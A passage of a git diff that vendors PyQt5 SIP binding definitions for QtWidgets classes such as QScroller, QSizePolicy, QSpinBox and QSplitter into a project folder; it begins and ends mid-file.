*sipIsErr = 1; + + return 0; + } + + QList *ql = new QList; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *itm = PyIter_Next(iter); + + if (!itm) + { + if (PyErr_Occurred()) + { + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + break; + } + + int v = sipConvertToEnum(itm, sipType_QWizard_WizardButton); + + if (PyErr_Occurred()) + { + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but 'QWizard.WizardButton' is expected", + i, sipPyTypeName(Py_TYPE(itm))); + + Py_DECREF(itm); + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + ql->append(static_cast(v)); + + Py_DECREF(itm); + } + + Py_DECREF(iter); + + *sipCppPtr = ql; + + return sipGetState(sipTransferObj); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qradiobutton.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qradiobutton.sip new file mode 100644 index 00000000..d6fa6eb1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qradiobutton.sip @@ -0,0 +1,42 @@ +// qradiobutton.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QRadioButton : QAbstractButton +{ +%TypeHeaderCode +#include +%End + +public: + explicit QRadioButton(QWidget *parent /TransferThis/ = 0); + QRadioButton(const QString &text, QWidget *parent /TransferThis/ = 0); + virtual ~QRadioButton(); + virtual QSize sizeHint() const; + virtual QSize minimumSizeHint() const; + +protected: + void initStyleOption(QStyleOptionButton *button) const; + virtual bool hitButton(const QPoint &) const; + virtual bool event(QEvent *e); + virtual void paintEvent(QPaintEvent *); + virtual void mouseMoveEvent(QMouseEvent *); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qrubberband.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qrubberband.sip new file mode 100644 index 00000000..a906af90 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qrubberband.sip @@ -0,0 +1,54 @@ +// qrubberband.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QRubberBand : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + enum Shape + { + Line, + Rectangle, + }; + + QRubberBand(QRubberBand::Shape, QWidget *parent /TransferThis/ = 0); + virtual ~QRubberBand(); + QRubberBand::Shape shape() const; + void setGeometry(const QRect &r); + void setGeometry(int ax, int ay, int aw, int ah); + void move(const QPoint &p); + void move(int ax, int ay); + void resize(int w, int h); + void resize(const QSize &s); + +protected: + void initStyleOption(QStyleOptionRubberBand *option) const; + virtual bool event(QEvent *e); + virtual void paintEvent(QPaintEvent *); + virtual void changeEvent(QEvent *); + virtual void showEvent(QShowEvent *); + virtual void resizeEvent(QResizeEvent *); + virtual void moveEvent(QMoveEvent *); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qscrollarea.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qscrollarea.sip new file mode 100644 index 00000000..12b47ffa --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qscrollarea.sip @@ -0,0 +1,52 @@ +// qscrollarea.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QScrollArea : QAbstractScrollArea +{ +%TypeHeaderCode +#include +%End + +public: + explicit QScrollArea(QWidget *parent /TransferThis/ = 0); + virtual ~QScrollArea(); + QWidget *widget() const; + void setWidget(QWidget *w /Transfer/); + QWidget *takeWidget() /TransferBack/; + bool widgetResizable() const; + void setWidgetResizable(bool resizable); + Qt::Alignment alignment() const; + void setAlignment(Qt::Alignment); + virtual QSize sizeHint() const; + virtual bool focusNextPrevChild(bool next); + void ensureVisible(int x, int y, int xMargin = 50, int yMargin = 50); + void ensureWidgetVisible(QWidget *childWidget, int xMargin = 50, int yMargin = 50); + +protected: + virtual bool event(QEvent *); + virtual bool eventFilter(QObject *, QEvent *); + virtual void resizeEvent(QResizeEvent *); + virtual void scrollContentsBy(int dx, int dy); +%If (Qt_5_2_0 -) + virtual QSize viewportSizeHint() const; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qscrollbar.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qscrollbar.sip new file mode 100644 index 00000000..f6544937 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qscrollbar.sip @@ -0,0 +1,46 @@ +// qscrollbar.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QScrollBar : QAbstractSlider +{ +%TypeHeaderCode +#include +%End + +public: + explicit QScrollBar(QWidget *parent /TransferThis/ = 0); + QScrollBar(Qt::Orientation orientation, QWidget *parent /TransferThis/ = 0); + virtual ~QScrollBar(); + virtual QSize sizeHint() const; + virtual bool event(QEvent *event); + +protected: + void initStyleOption(QStyleOptionSlider *option) const; + virtual void paintEvent(QPaintEvent *); + virtual void mousePressEvent(QMouseEvent *); + virtual void mouseReleaseEvent(QMouseEvent *); + virtual void mouseMoveEvent(QMouseEvent *); + virtual void hideEvent(QHideEvent *); + virtual void contextMenuEvent(QContextMenuEvent *); + virtual void wheelEvent(QWheelEvent *); + virtual void sliderChange(QAbstractSlider::SliderChange change); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qscroller.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qscroller.sip new file mode 100644 index 00000000..d6c016fb --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qscroller.sip @@ -0,0 +1,88 @@ +// qscroller.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QScroller : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum State + { + Inactive, + Pressed, + Dragging, + Scrolling, + }; + + enum ScrollerGestureType + { + TouchGesture, + LeftMouseButtonGesture, + RightMouseButtonGesture, + MiddleMouseButtonGesture, + }; + + enum Input + { + InputPress, + InputMove, + InputRelease, + }; + + static bool hasScroller(QObject *target); + static QScroller *scroller(QObject *target); + static Qt::GestureType grabGesture(QObject *target, QScroller::ScrollerGestureType scrollGestureType = QScroller::TouchGesture); + static Qt::GestureType grabbedGesture(QObject *target); + static void ungrabGesture(QObject *target); + static QList activeScrollers(); + QObject *target() const; + QScroller::State state() const; + bool handleInput(QScroller::Input input, const QPointF &position, qint64 timestamp = 0); + void stop(); + QPointF velocity() const; + QPointF finalPosition() const; + QPointF pixelPerMeter() const; + QScrollerProperties scrollerProperties() const; + void setSnapPositionsX(const QList &positions); + void setSnapPositionsX(qreal first, qreal interval); + void setSnapPositionsY(const QList &positions); + void setSnapPositionsY(qreal first, qreal interval); + +public slots: + void setScrollerProperties(const QScrollerProperties &prop); + void scrollTo(const QPointF &pos); + void scrollTo(const QPointF &pos, int scrollTime); + void ensureVisible(const QRectF &rect, qreal xmargin, qreal ymargin); + void ensureVisible(const QRectF &rect, qreal xmargin, qreal ymargin, int scrollTime); + void resendPrepareEvent(); + +signals: + void stateChanged(QScroller::State newstate); + void scrollerPropertiesChanged(const QScrollerProperties &); + +private: + QScroller(QObject *target); + virtual ~QScroller(); + QScroller(const QScroller &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qscrollerproperties.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qscrollerproperties.sip new file mode 100644 index 00000000..ee967e78 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qscrollerproperties.sip @@ -0,0 +1,80 @@ +// qscrollerproperties.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QScrollerProperties +{ +%TypeHeaderCode +#include +%End + +public: + QScrollerProperties(); + QScrollerProperties(const QScrollerProperties &sp); + virtual ~QScrollerProperties(); + bool operator==(const QScrollerProperties &sp) const; + bool operator!=(const QScrollerProperties &sp) const; + static void setDefaultScrollerProperties(const QScrollerProperties &sp); + static void unsetDefaultScrollerProperties(); + + enum OvershootPolicy + { + OvershootWhenScrollable, + OvershootAlwaysOff, + OvershootAlwaysOn, + }; + + enum FrameRates + { + Standard, + Fps60, + Fps30, + Fps20, + }; + + enum ScrollMetric + { + MousePressEventDelay, + DragStartDistance, + DragVelocitySmoothingFactor, + AxisLockThreshold, + ScrollingCurve, + DecelerationFactor, + MinimumVelocity, + MaximumVelocity, + MaximumClickThroughVelocity, + AcceleratingFlickMaximumTime, + AcceleratingFlickSpeedupFactor, + SnapPositionRatio, + SnapTime, + OvershootDragResistanceFactor, + OvershootDragDistanceFactor, + OvershootScrollDistanceFactor, + OvershootScrollTime, + HorizontalOvershootPolicy, + VerticalOvershootPolicy, + FrameRate, + ScrollMetricCount, + }; + + QVariant scrollMetric(QScrollerProperties::ScrollMetric metric) const; + void setScrollMetric(QScrollerProperties::ScrollMetric metric, const QVariant &value); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qshortcut.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qshortcut.sip new file mode 100644 index 00000000..003a5f3f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qshortcut.sip @@ -0,0 +1,101 @@ +// qshortcut.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QShortcut : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QShortcut(QWidget *parent /TransferThis/); + QShortcut(const QKeySequence &key, QWidget *parent /TransferThis/, SIP_PYOBJECT member /TypeHint="PYQT_SLOT"/ = 0, SIP_PYOBJECT ambiguousMember /TypeHint="PYQT_SLOT"/ = 0, Qt::ShortcutContext context = Qt::WindowShortcut) [(const QKeySequence &key, QWidget *parent, const char *member = 0, const char *ambiguousMember = 0, Qt::ShortcutContext context = Qt::WindowShortcut)]; +%MethodCode + // Construct the shortcut without any connections. + Py_BEGIN_ALLOW_THREADS + sipCpp = new sipQShortcut(*a0, a1, 0, 0, a4); + Py_END_ALLOW_THREADS + + if (a2) + { + QObject *rx2; + QByteArray member2; + + if ((sipError = pyqt5_qtwidgets_get_connection_parts(a2, sipCpp, "()", false, &rx2, member2)) == sipErrorNone) + { + Py_BEGIN_ALLOW_THREADS + QObject::connect(sipCpp, SIGNAL(activated()), rx2, + member2.constData()); + Py_END_ALLOW_THREADS + } + else + { + delete sipCpp; + + if (sipError == sipErrorContinue) + sipError = sipBadCallableArg(2, a2); + } + } + + if (a3) + { + QObject *rx3; + QByteArray member3; + + if ((sipError = pyqt5_qtwidgets_get_connection_parts(a3, sipCpp, "()", false, &rx3, member3)) == sipErrorNone) + { + Py_BEGIN_ALLOW_THREADS + QObject::connect(sipCpp, SIGNAL(activatedAmbiguously()), rx3, + member3.constData()); + Py_END_ALLOW_THREADS + } + else + { + delete sipCpp; + + if (sipError == sipErrorContinue) + sipError = sipBadCallableArg(3, a3); + } + } +%End + + virtual ~QShortcut(); + void setKey(const QKeySequence &key); + QKeySequence key() const; + void setEnabled(bool enable); + bool isEnabled() const; + void setContext(Qt::ShortcutContext context); + Qt::ShortcutContext context() const; + void setWhatsThis(const QString &text); + QString whatsThis() const; + int id() const; + QWidget *parentWidget() const; + void setAutoRepeat(bool on); + bool autoRepeat() const; + +signals: + void activated(); + void activatedAmbiguously(); + +protected: + virtual bool event(QEvent *e); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qsizegrip.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qsizegrip.sip new file mode 100644 index 00000000..afe0ce77 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qsizegrip.sip @@ -0,0 +1,45 @@ +// qsizegrip.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSizeGrip : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + explicit QSizeGrip(QWidget *parent /TransferThis/); + virtual ~QSizeGrip(); + virtual QSize sizeHint() const; + virtual void setVisible(bool); + +protected: + virtual void paintEvent(QPaintEvent *); + virtual void mousePressEvent(QMouseEvent *); + virtual void mouseReleaseEvent(QMouseEvent *mouseEvent); + virtual void mouseMoveEvent(QMouseEvent *); + virtual bool eventFilter(QObject *, QEvent *); + virtual bool event(QEvent *); + virtual void moveEvent(QMoveEvent *moveEvent); + virtual void showEvent(QShowEvent *showEvent); + virtual void hideEvent(QHideEvent *hideEvent); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qsizepolicy.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qsizepolicy.sip new file mode 100644 index 00000000..3e1f8eed --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qsizepolicy.sip @@ -0,0 +1,118 @@ +// qsizepolicy.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSizePolicy +{ +%TypeHeaderCode +#include +%End + +public: + enum PolicyFlag + { + GrowFlag, + ExpandFlag, + ShrinkFlag, + IgnoreFlag, + }; + + enum Policy + { + Fixed, + Minimum, + Maximum, + Preferred, + MinimumExpanding, + Expanding, + Ignored, + }; + + QSizePolicy(); + QSizePolicy(QSizePolicy::Policy horizontal, QSizePolicy::Policy vertical, QSizePolicy::ControlType type = QSizePolicy::DefaultType); + QSizePolicy(const QVariant &variant /GetWrapper/) /NoDerived/; +%MethodCode + if (a0->canConvert()) + sipCpp = new QSizePolicy(a0->value()); + else + sipError = sipBadCallableArg(0, a0Wrapper); +%End + + QSizePolicy::Policy horizontalPolicy() const; + QSizePolicy::Policy verticalPolicy() const; + void setHorizontalPolicy(QSizePolicy::Policy d); + void setVerticalPolicy(QSizePolicy::Policy d); + Qt::Orientations expandingDirections() const; + void setHeightForWidth(bool b); + bool hasHeightForWidth() const; + bool operator==(const QSizePolicy &s) const; + bool operator!=(const QSizePolicy &s) const; + int horizontalStretch() const; + int verticalStretch() const; + void setHorizontalStretch(int stretchFactor); + void setVerticalStretch(int stretchFactor); + void transpose(); +%If (Qt_5_9_0 -) + QSizePolicy transposed() const; +%End + + enum ControlType + { + DefaultType, + ButtonBox, + CheckBox, + ComboBox, + Frame, + GroupBox, + Label, + Line, + LineEdit, + PushButton, + RadioButton, + Slider, + SpinBox, + TabWidget, + ToolButton, + }; + + typedef QFlags ControlTypes; + QSizePolicy::ControlType controlType() const; + void setControlType(QSizePolicy::ControlType type); + void setWidthForHeight(bool b); + bool hasWidthForHeight() const; +%If (Qt_5_2_0 -) + bool retainSizeWhenHidden() const; +%End +%If (Qt_5_2_0 -) + void setRetainSizeWhenHidden(bool retainSize); +%End +%If (Qt_5_6_0 -) + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End + +%End +}; + +QDataStream &operator<<(QDataStream &, const QSizePolicy & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QSizePolicy & /Constrained/) /ReleaseGIL/; +QFlags operator|(QSizePolicy::ControlType f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qslider.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qslider.sip new file mode 100644 index 00000000..cf28bc9f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qslider.sip @@ -0,0 +1,57 @@ +// qslider.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSlider : QAbstractSlider +{ +%TypeHeaderCode +#include +%End + +public: + enum TickPosition + { + NoTicks, + TicksAbove, + TicksLeft, + TicksBelow, + TicksRight, + TicksBothSides, + }; + + explicit QSlider(QWidget *parent /TransferThis/ = 0); + QSlider(Qt::Orientation orientation, QWidget *parent /TransferThis/ = 0); + virtual ~QSlider(); + virtual QSize sizeHint() const; + virtual QSize minimumSizeHint() const; + void setTickPosition(QSlider::TickPosition position); + QSlider::TickPosition tickPosition() const; + void setTickInterval(int ti); + int tickInterval() const; + virtual bool event(QEvent *event); + +protected: + void initStyleOption(QStyleOptionSlider *option) const; + virtual void paintEvent(QPaintEvent *ev); + virtual void mousePressEvent(QMouseEvent *ev); + virtual void mouseReleaseEvent(QMouseEvent *ev); + virtual void mouseMoveEvent(QMouseEvent *ev); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qspinbox.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qspinbox.sip new file mode 100644 index 00000000..38ee9b22 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qspinbox.sip @@ -0,0 +1,124 @@ +// qspinbox.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSpinBox : QAbstractSpinBox +{ +%TypeHeaderCode +#include +%End + +public: + explicit QSpinBox(QWidget *parent /TransferThis/ = 0); + virtual ~QSpinBox(); + int value() const; + QString prefix() const; + void setPrefix(const QString &p); + QString suffix() const; + void setSuffix(const QString &s); + QString cleanText() const; + int singleStep() const; + void setSingleStep(int val); + int minimum() const; + void setMinimum(int min); + int maximum() const; + void setMaximum(int max); + void setRange(int min, int max); + +protected: + virtual QValidator::State validate(QString &input /In,Out/, int &pos /In,Out/) const; + virtual int valueFromText(const QString &text) const; + virtual QString textFromValue(int v) const; + virtual void fixup(QString &str /In,Out/) const; + virtual bool event(QEvent *e); + +public slots: + void setValue(int val); + +signals: + void valueChanged(int); + void valueChanged(const QString &); +%If (Qt_5_14_0 -) + void textChanged(const QString &); +%End + +public: +%If (Qt_5_2_0 -) + int displayIntegerBase() const; +%End +%If (Qt_5_2_0 -) + void setDisplayIntegerBase(int base); +%End +%If (Qt_5_12_0 -) + QAbstractSpinBox::StepType stepType() const; +%End +%If (Qt_5_12_0 -) + void setStepType(QAbstractSpinBox::StepType stepType); +%End +}; + +class QDoubleSpinBox : QAbstractSpinBox +{ +%TypeHeaderCode +#include +%End + +public: + explicit QDoubleSpinBox(QWidget *parent /TransferThis/ = 0); + virtual ~QDoubleSpinBox(); + double value() const; + QString prefix() const; + void setPrefix(const QString &p); + QString suffix() const; + void setSuffix(const QString &s); + QString cleanText() const; + double singleStep() const; + void setSingleStep(double val); + double minimum() const; + void setMinimum(double min); + double maximum() const; + void setMaximum(double max); + void setRange(double min, double max); + int decimals() const; + void setDecimals(int prec); + virtual QValidator::State validate(QString &input /In,Out/, int &pos /In,Out/) const; + virtual double valueFromText(const QString &text) const; + virtual QString textFromValue(double v) const; + virtual void fixup(QString &str /In,Out/) const; + +public slots: + void setValue(double val); + +signals: + void valueChanged(double); + void valueChanged(const QString &); +%If (Qt_5_14_0 -) + void textChanged(const QString &); +%End + +public: +%If (Qt_5_12_0 -) + QAbstractSpinBox::StepType stepType() const; +%End +%If (Qt_5_12_0 -) + void setStepType(QAbstractSpinBox::StepType stepType); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qsplashscreen.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qsplashscreen.sip new file mode 100644 index 00000000..a3a1daba --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qsplashscreen.sip @@ -0,0 +1,55 @@ +// qsplashscreen.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSplashScreen : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + QSplashScreen(const QPixmap &pixmap = QPixmap(), Qt::WindowFlags flags = Qt::WindowFlags()); + QSplashScreen(QWidget *parent /TransferThis/, const QPixmap &pixmap = QPixmap(), Qt::WindowFlags flags = Qt::WindowFlags()); +%If (Qt_5_15_0 -) + QSplashScreen(QScreen *screen, const QPixmap &pixmap = QPixmap(), Qt::WindowFlags flags = Qt::WindowFlags()); +%End + virtual ~QSplashScreen(); + void setPixmap(const QPixmap &pixmap); + const QPixmap pixmap() const; + void finish(QWidget *w); + void repaint(); +%If (Qt_5_2_0 -) + QString message() const; +%End + +public slots: + void showMessage(const QString &message, int alignment = Qt::AlignLeft, const QColor &color = Qt::black); + void clearMessage(); + +signals: + void messageChanged(const QString &message); + +protected: + virtual void drawContents(QPainter *painter); + virtual bool event(QEvent *e); + virtual void mousePressEvent(QMouseEvent *); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qsplitter.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qsplitter.sip new file mode 100644 index 00000000..1f5b9084 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qsplitter.sip @@ -0,0 +1,100 @@ +// qsplitter.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSplitter : QFrame +{ +%TypeHeaderCode +#include +%End + +public: + explicit QSplitter(QWidget *parent /TransferThis/ = 0); + QSplitter(Qt::Orientation orientation, QWidget *parent /TransferThis/ = 0); + virtual ~QSplitter(); + void addWidget(QWidget *widget /Transfer/); + void insertWidget(int index, QWidget *widget /Transfer/); + void setOrientation(Qt::Orientation); + Qt::Orientation orientation() const; + void setChildrenCollapsible(bool); + bool childrenCollapsible() const; + void setCollapsible(int index, bool); + bool isCollapsible(int index) const; + void setOpaqueResize(bool opaque = true); + bool opaqueResize() const; + void refresh(); + virtual QSize sizeHint() const; + virtual QSize minimumSizeHint() const; + QList sizes() const; + void setSizes(const QList &list); + QByteArray saveState() const; + bool restoreState(const QByteArray &state); + int handleWidth() const; + void setHandleWidth(int); + int 